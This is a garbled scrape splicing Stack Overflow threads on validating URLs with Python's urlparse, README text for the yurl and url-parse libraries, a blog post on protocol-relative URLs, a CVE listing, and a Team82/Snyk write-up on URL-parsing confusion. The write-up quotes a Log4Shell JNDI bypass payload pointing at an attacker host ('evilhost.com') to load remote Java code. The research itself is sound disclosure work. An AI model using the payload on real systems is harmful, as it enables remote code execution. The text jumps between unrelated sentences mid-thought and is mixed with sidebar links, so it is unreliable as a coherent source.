function to url component: You can also omit decode method if you pass encoding in decode_url_component(): If you do not pass encoding, only reserved chars will be decoded: Original urlparse() cache every parsed url. To subscribe to this RSS feed, copy and paste this URL into your RSS reader. using the browser's current window location as the base URL when parsing all The Team82-Snyk research collaboration also uncovered eight vulnerabilities in web applications and third-party libraries (many written in different programming languages) used by web developers in apps, Among the eight vulnerabilities was a bug in libcurl. We will talk about one countermeasure in particular, which aimed to block any attempts to load classes from a remote source using JNDI. is no longer true. Team82 and the Snyk research team collaborated on a, Different libraries parse URLs in their own way, and these inconsistencies can be abused by attackers. Params is not part of To parse url into parts, pass string as first argument to URL() constructor: Url also can be constructed from known parts: Url parsing is always successful, even if some parts have unescaped or Many libraries do not allow scheme or authority with invalid chars. urlparse() because it's complicated. all systems operational. urlsplit() check allowed chars in scheme and raise on invalid IP URL: Purl built on top of urlparse() and include almost all problems listed above. If you are using the URL.set method to make changes, this Therefore, an attacker-hosted class would not be loaded and the vulnerability rendered moot. I want to check whether a URL is valid, before I open it to read data. In most cases this is unnecessary. If url contatin #, it contatin frgment. the best thing you can do is check for a leading '//' before you bash loop to replace middle of string after a certain character, Scientifically plausible way to sink a landmass. library in this way: The returned url instance contains the following properties: Note that when url-parse is used in a browser environment, it will default to location object as the second parameter: A simple helper function to change parts of the URL and propagating it through Unreserved chars do not affect the parsing and can be encoded And there are more scenarios as well. Download the file for your platform. again and href so you have a complete URL. If this is an issue for you (as it was for me recently), probably 2022 Python Software Foundation As a result of our research, we were able to identify the following vulnerabilities, which affect different frameworks and even different programming languages. If you're going to open it with urllib2 anyway, can't you just open it first and check if the return code equals 200? call urlparse() and turn it into just '/' (the simple way is to First way may be wrong because we can apply unnecessary in future fix: Second way is wrong when we replace some parts: And escapes which should be applied on recomposition: The short answer is urlparse is broken. use urlparse() and ignore params when extract path: urlsplit() has strange parameters. These are my WanderingThoughts In addition to URL parsing we also expose the bundled querystringify module. Therefore, any security vulnerabilities with how browsers, applications, and servers receive URL requests, parse them, and fetch requested resources could pose significant issues for users and harm trust in the internet. urlsplit(), urlparse() separates params from path. off. You can join two source, Status: is about 2 times faster then urlparse(). Caller has a choise: he can ignore fragment or raise. How did this note help previous owner of this old film camera? (About the blog), This is part of CSpace, and is written by ChrisSiebenmann. contain colon. How can I safely create a nested directory? I believe the right way is to split url as is and then You can try the function below which checks scheme, netloc and path variables which comes after parsing the url. and accuracy.

Some features may not work without JavaScript. For example, a URL could look like this: Over the years, there have been many RFCs that defined URLs, each making changes in an attempt to enhance the URL standard. The RegExp based solution didn't work well as it required a lot of lookups This created an environment in which one URL parser could interpret a URL differently than another. As a result of our analysis, we were able to identify and categorize five different scenarios in which most URL parsers behaved unexpectedly: Using those five categories as a guideline, weve created the following table which showcases the differences between different URL parsers: By abusing those inconsistencies, many possible vulnerabilities could arise, ranging from an server-side request forgery (SSRF) vulnerability, which could result in remote code execution, all the way to an open-redirect vulnerability which could result in a sophisticated phishing attack. It assumes that url was received in an HTTP request, so the url is interpreted only as an absolute URI or an absolute path. Find centralized, trusted content and collaborate around the technologies you use most. This bypass stems from the fact that two different (!) Now suppose someone accidentally creates a URL for a web page of or decoded at any time. Join for relative urls is also supported: All chars in url is divided to three groups: delimeters, subdelimeters and But scheme is only can have default value in urlsplit(). How can I check whether a URL is valid using `urlparse`? Yurl is the replacement of built in python urlparse module. Some, in fact, choose to ignore new RFCs altogether, instead adapting a URL specification they deem more reflective of how real-life URLs should be parsed. hides a surprise about how relative URLs will be interpreted. Url without schema is actually invalid, your browser is just clever enough to suggest http:// as schema for it. Our paper describes five classes of inconsistencies between parsing libraries that can be exploited to cause denial-of-service conditions, information leaks, and under some circumstances, remote code execution. objects depending on the arguments. A payload triggering this vulnerability could look like this: This payload would result in a remote class being loaded to the current Java context if this string were logged by a vulnerable application. full URLs, and you'd like to decode both of them in order to extract The URL interface is available in all supported Node.js In version 1.0.0 we ditched the RegExp Twitter: @thatcks Scientific writing: attributing actions to inanimate objects. needs to deal with that full complexity, and that means that it Today, we are publishing a research paper (free PDF download here) that describes our analysis, showcases the differences between parsers, and how URL parsing confusion may be abused. In version 0.1 we moved from a DOM based parsing solution, using the The problem is that most programmers url.ParseRequestURI parses a raw url into a URL structure. urlparse module have two functions: urlparse() and urlsplit(). Rfc define two operations against url: parse and join. While we will not fully explain this vulnerability hereit was widely coveredthe gist of the vulnerability originates in a malicious attacker-controlled string being evaluated whenever it is logged by an application, resulting in a JNDI (Java Naming and Directory Interface) lookup that connects to an attacker-specified server and loads malicious Java code. When you set a new host you want the same value to be applied need to interact invalid urls. Because of the popularity of this library, and the vast number of servers which this vulnerability affected, many patches and countermeasures were introduced in order to remedy this vulnerability. What drives the appeal and nostalgia of Margaret Thatcher within UK Conservative Party? interpreted as a relative URL, not a protocol-relative URL. If scheme not allowed chars. Which Terry Pratchett book starts with "Zoom in"? Because we know where it came from, you and I know that this unreserved chars. to port if has a different port number, hostname so it has a correct name Asking for help, clarification, or responding to other answers. It may be a good solution to check if url doesn't have schema (not re.match(r'^[a-zA-Z]+://', url)) and prepend http:// to it. And relative url can not starts with // or contain : in first path segment. By clicking Accept all cookies, you agree Stack Exchange can store cookies on your device and disclose information in accordance with our Cookie Policy. a relative URL that starts with three or more slashes is that it's The returned url object comes with a custom toString method which will If you want decode all chars, you should apply decode_url_component() don't always have access to the DOM. for example, URLs: It's complicated. A proper URL parser Lets analyze the bypass, which is as follows: ${jndi:ldap://127.0.0.1#.evilhost.com:1389/a}. inputs. The which will stringify the query string for you.

URLs are in many ways the hub of our digital lives, our link to critical services, news, entertainment, and much more. How can I remove a key from a Python dictionary? For example url with authority can not be relative. The method accepts an extra function However, the frequency of changes created major differences in URL parsers, each of which comply with a different RFC (in order to be backward compliant). As it turns out, this is exactly where the bypass lies. I was using the function urlparse from the urlparse package: However, I noticed that some valid URLs are treated as broken, for example: This URL is valid (I can open it using my browser). Announcing the Stacks Editor Beta release! is a relative URL with an extra / at the front, but urlparse() @alexey_efimov, the question already said "I was using the argparse package". The We examined 16 URL parsing libraries including: urllib (Python), urllib3 (Python), rfc3986 (Python), httptools (Python), curl lib (cURL), Wget, Chrome (Browser), Uri (.NET), URL (Java), URI (Java), parse_url (PHP), url (NodeJS), url-parse (NodeJS), net/url (Go), uri (Ruby) and URI (Perl). The url-parse method exposes two different API interfaces. Apr 18, 2019 Site map. But url can not be URLs in HTTP GET requests, which Apache will pass through to you. Is there a PRNG that visits every number exactly once, in a non-trivial bitspace, without repetition, without large memory usage, before it cycles? Purl loses path after ;. Worker interface. JavaScript front end for Odin Project book library database, Grep excluding line that ends in 0, but not 10, 100 etc, Skipping a calculus topic (squeeze theorem). http as protocol. After parsing you can call validate() method: Validate() returns object itself or modified version: URL() returns named tuple with some additional properties. fragment in this url. You have to actually parse the rev2022.7.21.42639. You can run these tests with the, For browser testing we use Sauce Labs and. However, on certain operating systems (mainly macOS) and specific configurations, when the JNDI lookup process fetches this URL, it does not try to fetch it from 127.0.0.1, instead it makes a request to 127.0.0.1#.evilhost.com. It takes default addressing scheme. '//'. I want to write a function, which will tell me this avoiding this types of mistakes. released in the public npm registry and can be installed using: All examples assume that this library is bootstrapped using: To parse an URL simply call the URL method with the URL that needs to be pip install YURL can't make that assumption and there's no way to limit its support for python 2.6, 2.7, 3.2, 3.3 and pypy 1.9 with single codebase, added URLError exception on top of ValueError, order of tuple members now same as url parts:

url interface that you know from Node.js This bypass showcases how minor discrepancies between URL parsers could create huge security concerns and real-life vulnerabilities. Python 3.6.13/3.7.10/3.8.10/3.9.4 URL Handlerurllib.parseurlparse CWECWE-74 20220210 bugs.python.org , CVE-2022-0391 CVE 20220127 $0-$5k MITRE ATT&CK T1055 , 0day $0-$5k , 3.6.14, 3.7.11, 3.8.11, 3.9.5 , 3.10.0b1 , Python 3.6.14/3.7.11/3.8.11/3.9.5/3.10.0b1. However, URLs are tricky things once you peek under the hood; see, The url.Parse() function parses a raw url into a URL structure. If you're not sure which to choose, learn more about installing packages. as full URLs. But this works only in cases where the url contains a path (even if that is the / path). To learn more, see our tips on writing great answers. based solution in favor of a pure string parsing solution which chops up the The new keyword is optional but it will save you an extra function invocation. In addition to Instead of allowing JNDI lookups from arbitrary remote sources, which could result in remote code execution, JNDI would allow only lookups from a set of predefined whitelisted hosts, allowedLdapHost, which by default contained only localhost. all properties. You can now choose to sort by Trending, which boosts votes that have happened recently, helping to surface more up-to-date answers. Python version and the CPU: In tests where any of the other libraries beats yurl you can see !worse For example, How to Get the Difference in Hours Between Two Dates in Go, How to Find Out the Number of CPU's on a Local Machine in Go, How to Know If an Object has an Attribute in Python, How to find the intersection between two lists in Python, How to Iterate through the Values of an Enum in Rust, How to join a slice of strings into a single string in Go, How to Get the Maximum Value for an Int Type in Go, How to split a slice into equally sized chunks in Go, How to find intersection of two slices in Go.

So from the above cases you see that the one that comes closest to a solution is all([result.scheme, result.netloc, result.path]). To decode unreserved chars you can call decode() two slashes after the host instead of one) and visits it, and you Is there a better way to check if the URL is valid? transformed into an object. will use our default method. method. URL into smaller pieces. Design patterns for asynchronous API communication. and the new URL urls by adding one to another.

href property. legal protocol-relative URL, so Purl manipulations is about 20 times slower then yurl: Purl have ugly jquery-like api, when one method may return different Making statements based on opinion; back them up with references or personal experience. parsed with ignoring #: Module makes no difference between parsing and validating. During our analysis, weve looked into the following libraries and tools written in numerous languages: urllib (Python), urllib3 (Python), rfc3986 (Python), httptools (Python), curl lib (cURL), Wget, Chrome (Browser), Uri (.NET), URL (Java), URI (Java), parse_url (PHP), url (NodeJS), url-parse (NodeJS), net/url (Go), uri (Ruby) and URI (Perl). path of the result will have the extra leading slashes stripped This could lead to some serious security concerns. can not be scheme because of underscore and should be parsed as path: The problem is rfc also defines that the first segment of the path can not And indeed, if we parse this URL using Javas URI, we find out that the URLs host is 127.0.0.1, which is included in the whitelist. unambiguously define format of this parts.

that looks like one, which is to say something that starts with various pieces of information (primarily the path, since that's all Doing anything Also: (Sub)topics, The initramfs for old kernels can hide old versions of things, Redirecting paths that start with two slashes in Apache. Donate today! But if you parse the same link again and again you can use CachedURL: Rfc define format of valid url and ways to interact with it. generate a full URL again when called. Key features of yurl are: Yurl inspired by purl pythonic interface to urlparse. functionality parity with the library in a Node environment), pass an empty

just strip off the first character in the string). Url object has method for checking authority existence: Ip does not validated, so it is recommended to use validate() method: After parsing url can be modified in different ways. in a web server context where you may get either partial URLs or causing major problems in FireFox. How can I randomly select an item from a list? Even if you try to enforce a path (i.e urlparse(urljoin(your_url, "/")) you will still get a false positive in case 2, Maybe you also want to skip scheme checking and assume http if no scheme. What are the "disks" seen on the walls of some NASA space shuttles? PS: Because I tested it just now, the result of giving urlparse() For example This would mean that even if an attacker-given input is evaluated and a JNDI lookup is made, the lookup process would fail if the given host is not in the whitelisted set. See https://en.wikipedia.org/wiki/URL to think even more cases. Instead of this #fragment from path. The problem is that we cant say I do not want We also uncovered eight vulnerabilities that have been privately disclosed and patched. Every answer given already misses 1 or more cases. interface that is available in the latest browsers. Site design / logo 2022 Stack Exchange Inc; user contributions licensed under CC BY-SA. You can use replace() method to change whole parts of url: In addition to the usual attributes it takes shortcuts authority and full_path: setdefault() replace parts with given if they dont exists in original url: Join is analogue of urljoin() function from urlparse module. This means that while this malicious payload will bypass the allowedLdapHost localhost validation (which is done by the URI parser), it will still try to fetch a class from a remote location. Although it covers the above cases, it doesn't fully cover cases where a url contains an ip instead of a hostname. If it's the case, you can replace the scheme and get a real valid url: TL;DR: You can't actually. can not contatin fragment, # still can not be used in another parts. This is convenient because there are various situations Thanks for contributing an answer to Stack Overflow! attempt to decode the result of what Apache will hand you: The problem here is that '//ahost.org/some/path' is a perfectly So we can say sche_me:path Connect and share knowledge within a single location that is structured and easy to search. And some other: Purl parsing is about 2 times slower then urlparse(), while yurl parsing So this library Check it out! And RFCs not much help with it. The main reason for this was you can reliably count on being present in a partial URL). In order to fully understand how dangerous confusion among URL parsing primitives can be, lets take a look into a real-life vulnerability that abused those differences. The five types of inconsistencies are: scheme confusion, slashes confusion, backslash confusion, URL encoded data confusion, and scheme mixup. Uploaded scheme, userinfo, host, port, path, query, fragment, raw url parsing was moved to split_url() function of utils module, concatenation with string no longer aliasd with join, join always remove dots segments (as defined in rfc). Another parameter allow_fragments can be used to prevent splitting validate if necessary. Consider using it for better security Each component fulfills a different role, be it dictating the protocol for the request, the host which holds the resource, which exact resource should be fetched, and more. each path segment can have own params.

standard-compliant generality. is strings, even if they does not exists in url. If you don't supply a function we will automatically update. For such cases you will have to validate that the ip is a correct ip. Developed and maintained by the Python community, for the Python community. In order to validate that the URLs host is allowed, Javas URI class was used, which parsed the URL, extracted the host, and checked if the host is on the whitelist of allowed hosts. marker. Defaul encoding is utf-8. Where developers & technologists share private knowledge with coworkers, Reach developers & technologists worldwide. request's URI to get this, because funny people can send you full If it's mainly the http:// that's the issue, +1 for the trick with replacing the tuple which I find very elegant (and didn't know about). One of the nice things about urllib.parse (and its Mastodon: @cks, Categories: links, linux, programming, python, snark, solaris, spam, sysadmin, tech, unix, web Blamed in front of coworkers for "skipping hierarchy". The only problem here is that the returned url contains three slashes after the scheme as the url with no scheme is interpreted as. By clicking Post Your Answer, you agree to our terms of service, privacy policy and cookie policy. Our new Biannual ICS Risk & Vulnerability Report is the most up-to-date look at CVEs disclosed in OT devices. Supports both Python 2 and 3. URL parsers were used inside the JNDI lookup process, one parser for validating the URL, and another for fetching it, and depending on how each parser treats the Fragment portion (#) of the URL, the Authority changes too.